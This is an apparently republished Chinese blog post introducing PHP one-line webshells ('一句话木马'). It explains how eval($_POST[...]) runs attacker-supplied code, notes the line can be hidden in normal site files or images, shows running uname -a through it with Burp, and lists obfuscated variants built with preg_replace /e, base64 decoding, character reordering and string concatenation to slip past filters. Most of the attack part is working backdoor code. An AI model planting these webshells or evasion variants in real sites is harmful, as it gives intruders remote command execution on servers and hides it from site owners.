一句话木马简介

Posted satuer

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一句话木马简介相关的知识,希望对你有一定的参考价值。

一句话木马的原理即可以执行传递上来变量的内容,变量名称即“一句话密码”,变量内容即后门执行代码,内容可以是list文件、上传及下载文件、数据库操作等等。
这类后门通常只一行代码,因此可以随意插入web站点的正常文件而并不影响原本代码的执行,甚至与正常图片的结合可以形成“图片马”。
体积小,隐蔽性强是一句话木马最大的优势。灵活的变量内容同时成就了很多经典的一句话操作客户端,如菜刀。

 

php木马剖析
我们来对下面这样的一个一句话进行简单剖析:
  <?php eval($_POST[‘bckdor‘]);?>
这是php的一句话后门中最普遍的一种。它的工作原理是这样的:
  首先存在一个变量,变量名为bckdor,bckdor的取值为HTTP的POST方式。Web服务器对bckdor取值以后,然后通过eval()函数执行bckdor里面的内容。
 
php木马使用
做一个一句话木马:p.php
技术分享图片
 
直接上burp,试一个最简单的命令
技术分享图片
技术分享图片
可以看到,uname -a,正常运行,且将结果返回回来。
 
 
一句话的无数变种
下面是一些发散思维。
 
1,可以利用preg_replace,当有e修饰符时,可以直接运行替换的字符串。例子如下:
  <?php
    session_start();
    $_POST[‘code‘] && $_SESSION[‘theCode‘] = trim($_POST[‘code‘]);
    $_SESSION[‘theCode‘]&&preg_replace(‘‘a‘ei‘, ‘e‘.‘v‘.‘a‘.‘l‘.‘($_SESSION[‘theCode‘])‘, ‘a‘);
  ?>
不过可以看到,连php官方都意识到了这里存在的漏洞,所以在7.0版本,明确不再支持/e修饰符,不过 <7.0 还是存在这个问题的
技术分享图片

 

技术分享图片
 
2,利用编码,甚至迭代编码
<?php $f = base64_decode($_GET[‘g‘]); $f($_POST[‘c‘]); ?>
 
3,利用字符的各种颠倒
  <?php
    $str = ‘aerst‘;
    $funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};
    @$func($_POST[‘c‘]);
  ?>
 
4,字符拼接,编码拼接等等
<?php $c=$_GET[n].‘t‘;@$c($_POST[cmd]);?>

<?php $c=base64_decode(‘YXNzZXI=‘).$_GET[n].‘t‘;@$c($_POST[cmd]);?>

 
有兴趣的还可以再进一步研究,下次分析客户端













以上是关于一句话木马简介的主要内容,如果未能解决你的问题,请参考以下文章

php一句话木马~呢?

一句话木马饶过过滤

一句话木马:初识木马练习

以下哪些是常见的php 一句话木马

追加分PHP一句话木马怎么用

PHP的网站,怎么扫描出潜藏的一句话木马